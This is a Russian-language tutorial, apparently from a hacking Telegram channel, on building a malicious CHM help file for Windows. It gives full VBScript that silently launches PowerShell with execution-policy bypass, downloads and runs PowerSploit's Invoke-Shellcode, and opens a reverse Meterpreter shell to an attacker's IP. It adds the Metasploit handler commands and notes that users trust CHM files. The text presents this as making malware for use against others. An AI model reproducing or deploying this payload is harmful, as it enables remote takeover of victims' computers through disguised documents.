Вредоносные CHM файлы

Вредоносные CHM файлы

@webware

t.me/webware

В этой статье мы рассмотрим способ создания вредоносных программ в формате CHM.

Давайте познакомимся с ним поближе. HTMLHelp (Comiled HTML Help) - формат файлов, выпущенный корпорацией Microsoft в 1997 году. Сам файл является комплексом сжатых HTML страниц алгоритмом LZX, которые могут хранить в себе вредоносные сценарии на VBScript или JavaScript. Этим мы с вами сегодня и воспользуемся.

Просматривать CHM файлы можно с помощью стандартный средств просмотра Windows, поэтому каких либо больших зависимостей у него нет. Кроме того, этот формат не вызывает беспокойство у пользователей, что также может быть использовано нами. Файлы формата HTMLHelp выглядят вот так:

Для создания HTMLHelp файлов мы будем использовать программу htm2chm. Она позволяет компилировать различные HTML страницы в один CHM файл. Первое, что нужно вам сделать, так это скачать эту программу.

После скачивания, установки и запуска вас будет приветствовать следующее окно:

Как я сказал выше, CHM файлы состоят из HTML страниц, поэтому, давайте создадим CHM файл для того, чтобы познакомиться с этим форматом поближе.

1. Создаём HTML страницу.

2. Заполняем её HTML кодом.

HTML:

<html>
  <body>
    <h1>Test</h1>
  </body>
</html>

3. Компилируем.

  • Запускаем htm2chm.
  • Нажимаем кнопку "Compiler".
  • В поле "Folder" записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле "Title" пишем заголовок файла. В поле "Output" путь с каким именем и куда сохранить скомпилированный файл.
  • Нажимаем "Start".

4. После этих действий файл компилируется и автоматически открывается.

Как вы убедились, файл CHM действительно состоит из простых HTML страниц. Мы познакомились с форматом CHM, поэтому давайте теперь перейдём к созданию вредоносного CHM файла, который выдаст нам Meterpreter сессию.

1. Для этого, в скрипте выполним вредоносную powershell команду. Но для этого её нужно сначала собрать.

  • Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.
-w hidden -nop -noni -exec bypass
  • Подготовим вредоносную нагрузку. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force

,

где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.

  • Соберём команду и она примет следующий вид:
powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force

2. Подготовим вредоносный VBScript скрипт, который запустит эту команду.

Set cmd = CreateObject("wscript.shell")
' Создаём объект для выполнения команд
cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
' Выполняем команду

3. Сохраняем всё это в один html файл.

HTML:

<html>
 <body>
   <script language="VBScript">
    Set cmd = CreateObject("wscript.shell")
    cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
   </script>
 </body>
</html>

4. Комилируем его.

  • Запускаем htm2chm.
  • Нажимаем кнопку "Compiler".
  • В поле Folder записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле Title пишем заголовок файла. В папку Output путь куда сохранить скомпилированный файл.
  • Нажимаем "Start"

5. Всё. Файл откроется автоматически, поэтому чтобы это предотвратить нужно после компиляции закрыть окно с программой.

Теперь подготовимся со стороны атакующего. Пишем в консоль Kali Linux:

Последовательность команд:

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.0.106
set LPORT 8007

, где вместо 192.168.0.106 и 8007 указываем IP атакующего и желаемый порт.

Далее. Запускаем наш вредоносный CHM файл и видим предупреждение безопасности Windows. Это является небольшим недостатком этого метода.

Нажимаем "Да" и видим, что нам прилетает сессия meterpreter.

Ну, на этом всё. Спасибо за внимание!

Источник codeby.net